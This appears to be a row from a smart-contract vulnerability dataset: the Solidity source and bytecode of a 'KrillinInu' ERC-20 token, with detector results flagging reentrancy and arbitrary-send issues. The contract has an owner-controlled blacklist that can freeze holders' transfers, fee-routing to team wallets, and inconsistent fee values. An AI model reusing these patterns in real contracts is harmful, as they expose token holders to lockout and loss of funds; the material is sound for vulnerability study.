25fa8e878787612857565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061266483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d78565b905092915050565b600080828461267b9190613366565b9050838110156126c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b7906130f0565b60405180910390fd5b8091505092915050565b60006126d4612322565b905060006126eb8284611ddc90919063ffffffff16565b905061273f81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461266c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61279c8260065461262290919063ffffffff16565b6006819055506127b78160075461266c90919063ffffffff16565b6007819055505050565b6000806000806127ed60646127df888a611ddc90919063ffffffff16565b611e5790919063ffffffff16565b905060006128176064612809888b611ddc90919063ffffffff16565b611e5790919063ffffffff16565b9050600061284082612832858c61262290919063ffffffff16565b61262290919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806128708589611ddc90919063ffffffff16565b905060006128878689611ddc90919063ffffffff16565b9050600061289e8789611ddc90919063ffffffff16565b905060006128c7826128b9858761262290919063ffffffff16565b61262290919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128f36128ee846132e5565b6132c0565b9050808382526020820190508285602086028201111561291657612915613650565b5b60005b85811015612946578161292c8882612950565b845260208401935060208301925050600181019050612919565b5050509392505050565b60008135905061295f8161398f565b92915050565b6000815190506129748161398f565b92915050565b600082601f83011261298f5761298e61364b565b5b813561299f8482602086016128e0565b91505092915050565b6000813590506129b7816139a6565b92915050565b6000815190506129cc816139a6565b92915050565b6000813590506129e1816139bd565b92915050565b6000815190506129f6816139bd565b92915050565b600060208284031215612a1257612a1161365a565b5b6000612a2084828501612950565b91505092915050565b600060208284031215612a3f57612a3e61365a565b5b6000612a4d84828501612965565b91505092915050565b60008060408385031215612a6d57612a6c61365a565b5b6000612a7b85828601612950565b9250506020612a8c85828601612950565b9150509250929050565b600080600060608486031215612aaf57612aae61365a565b5b6000612abd86828701612950565b9350506020612ace86828701612950565b9250506040612adf868287016129d2565b9150509250925092565b60008060408385031215612b0057612aff61365a565b5b6000612b0e85828601612950565b9250506020612b1f858286016129a8565b9150509250929050565b60008060408385031215612b4057612b3f61365a565b5b6000612b4e85828601612950565b9250506020612b5f858286016129d2565b9150509250929050565b600060208284031215612b7f57612b7e61365a565b5b600082013567ffffffffffffffff811115612b9d57612b9c613655565b5b612ba98482850161297a565b91505092915050565b600060208284031215612bc857612bc761365a565b5b6000612bd6848285016129a8565b91505092915050565b600060208284031215612bf557612bf461365a565b5b6000612c03848285016129bd565b91505092915050565b600060208284031215612c2257612c2161365a565b5b6000612c30848285016129d2565b91505092915050565b600080600060608486031215612c5257612c5161365a565b5b6000612c60868287016129e7565b9350506020612c71868287016129e7565b9250506040612c82868287016129e7565b9150509250925092565b6000612c988383612ca4565b60208301905092915050565b612cad8161347b565b82525050565b612cbc8161347b565b82525050565b6000612ccd82613321565b612cd78185613344565b9350612ce283613311565b8060005b83811015612d13578151612cfa8882612c8c565b9750612d0583613337565b925050600181019050612ce6565b5085935050505092915050565b612d298161348d565b82525050565b612d38816134d0565b82525050565b6000612d498261332c565b612d538185613355565b9350612d638185602086016134e2565b612d6c8161365f565b840191505092915050565b6000612d84602383613355565b9150612d8f82613670565b604082019050919050565b6000612da7602a83613355565b9150612db2826136bf565b604082019050919050565b6000612dca602283613355565b9150612dd58261370e565b604082019050919050565b6000612ded601b83613355565b9150612df88261375d565b602082019050919050565b6000612e10601d83613355565b9150612e1b82613786565b602082019050919050565b6000612e33600183613355565b9150612e3e826137af565b602082019050919050565b6000612e56602183613355565b9150612e61826137d8565b604082019050919050565b6000612e79602083613355565b9150612e8482613827565b602082019050919050565b6000612e9c602983613355565b9150612ea782613850565b604082019050919050565b6000612ebf602583613355565b9150612eca8261389f565b604082019050919050565b6000612ee2602483613355565b9150612eed826138ee565b604082019050919050565b6000612f05601783613355565b9150612f108261393d565b602082019050919050565b6000612f28601183613355565b9150612f3382613966565b602082019050919050565b612f47816134b9565b82525050565b612f56816134c3565b82525050565b6000602082019050612f716000830184612cb3565b92915050565b6000604082019050612f8c6000830185612cb3565b612f996020830184612cb3565b9392505050565b6000604082019050612fb56000830185612cb3565b612fc26020830184612d20565b9392505050565b6000604082019050612fde6000830185612cb3565b612feb6020830184612f3e565b9392505050565b600060c0820190506130076000830189612cb3565b6130146020830188612f3e565b6130216040830187612d2f565b61302e6060830186612d2f565b61303b6080830185612cb3565b61304860a0830184612f3e565b979650505050505050565b60006020820190506130686000830184612d20565b92915050565b600060208201905081810360008301526130888184612d3e565b905092915050565b600060208201905081810360008301526130a981612d77565b9050919050565b600060208201905081810360008301526130c981612d9a565b9050919050565b600060208201905081810360008301526130e981612dbd565b9050919050565b6000602082019050818103600083015261310981612de0565b9050919050565b6000602082019050818103600083015261312981612e03565b9050919050565b6000602082019050818103600083015261314981612e26565b9050919050565b6000602082019050818103600083015261316981612e49565b9050919050565b6000602082019050818103600083015261318981612e6c565b9050919050565b600060208201905081810360008301526131a981612e8f565b9050919050565b600060208201905081810360008301526131c981612eb2565b9050919050565b600060208201905081810360008301526131e981612ed5565b9050919050565b6000602082019050818103600083015261320981612ef8565b9050919050565b6000602082019050818103600083015261322981612f1b565b9050919050565b60006020820190506132456000830184612f3e565b92915050565b600060a0820190506132606000830188612f3e565b61326d6020830187612d2f565b818103604083015261327f8186612cc2565b905061328e6060830185612cb3565b61329b6080830184612f3e565b9695505050505050565b60006020820190506132ba6000830184612f4d565b92915050565b60006132ca6132db565b90506132d68282613515565b919050565b6000604051905090565b600067ffffffffffffffff821115613300576132ff61361c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613371826134b9565b915061337c836134b9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133b1576133b061358f565b5b828201905092915050565b60006133c7826134b9565b91506133d2836134b9565b9250826133e2576133e16135be565b5b828204905092915050565b60006133f8826134b9565b9150613403836134b9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561343c5761343b61358f565b5b828202905092915050565b6000613452826134b9565b915061345d836134b9565b9250828210156134705761346f61358f565b5b828203905092915050565b600061348682613499565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006134db826134b9565b9050919050565b60005b838110156135005780820151818401526020810190506134e5565b8381111561350f576000848401525b50505050565b61351e8261365f565b810181811067ffffffffffffffff8211171561353d5761353c61361c565b5b80604052505050565b6000613551826134b9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156135845761358361358f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f7800000000000000000000000000000000000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139988161347b565b81146139a357600080fd5b50565b6139af8161348d565b81146139ba57600080fd5b50565b6139c6816134b9565b81146139d157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f34cdb890e07b47f0d6f52ee65249f3e88f4763d4aa6de6bb2cc535f14f47e5f64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,091 |
0xe85ae7cb19353191fd345aa3a2143b2fcbf7f28c
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract KrillinInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "KrillinInu | t.me/krillininu";
string private constant _symbol = "KRILLIN";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 0;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already started");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 50000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a9190612a3d565b610420565b005b34801561014d57600080fd5b50610156610570565b6040516101639190612ede565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612a01565b6105ad565b6040516101a09190612ec3565b60405180910390f35b3480156101b557600080fd5b506101be6105cb565b6040516101cb9190613080565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f691906129b2565b6105dc565b6040516102089190612ec3565b60405180910390f35b34801561021d57600080fd5b506102266106b5565b005b34801561023457600080fd5b5061023d610c12565b60405161024a91906130f5565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a7e565b610c1b565b005b34801561028857600080fd5b506102a3600480360381019061029e9190612924565b610ccd565b005b3480156102b157600080fd5b506102ba610dbd565b005b3480156102c857600080fd5b506102e360048036038101906102de9190612924565b610e2f565b6040516102f09190613080565b60405180910390f35b34801561030557600080fd5b5061030e610e80565b005b34801561031c57600080fd5b50610325610fd3565b6040516103329190612df5565b60405180910390f35b34801561034757600080fd5b50610350610ffc565b60405161035d9190612ede565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612a01565b611039565b60405161039a9190612ec3565b60405180910390f35b3480156103af57600080fd5b506103b8611057565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612ad0565b6110d1565b005b3480156103ef57600080fd5b5061040a60048036038101906104059190612976565b61121a565b6040516104179190613080565b60405180910390f35b6104286112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612fe0565b60405180910390fd5b60005b815181101561056c576001600a6000848481518110610500577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061056490613396565b9150506104b8565b5050565b60606040518060400160405280601c81526020017f4b72696c6c696e496e75207c20742e6d652f6b72696c6c696e696e7500000000815250905090565b60006105c16105ba6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b60006105e9848484611474565b6106aa846105f56112a1565b6106a5856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061065b6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b6106bd6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461074a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074190612fe0565b60405180910390fd5b600f60149054906101000a900460ff161561079a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079190612f20565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061082a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087057600080fd5b505afa158015610884573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a8919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090a57600080fd5b505afa15801561091e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610942919061294d565b6040518363ffffffff1660e01b815260040161095f929190612e10565b602060405180830381600087803b15801561097957600080fd5b505af115801561098d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109b1919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a3a30610e2f565b600080610a45610fd3565b426040518863ffffffff1660e01b8152600401610a6796959493929190612e62565b6060604051808303818588803b158015610a8057600080fd5b505af1158015610a94573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ab99190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff0219169083151502179055506802b5e3af16b18800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bbc929190612e39565b602060405180830381600087803b158015610bd657600080fd5b505af1158015610bea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c0e9190612aa7565b5050565b60006009905090565b610c236112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca790612fe0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cd56112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5990612fe0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dfe6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610e1e57600080fd5b6000479050610e2c81611c97565b50565b6000610e79600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b610e886112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f15576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0c90612fe0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f4b52494c4c494e00000000000000000000000000000000000000000000000000815250905090565b600061104d6110466112a1565b8484611474565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166110986112a1565b73ffffffffffffffffffffffffffffffffffffffff16146110b857600080fd5b60006110c330610e2f565b90506110ce81611e00565b50565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa0565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613040565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f60565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c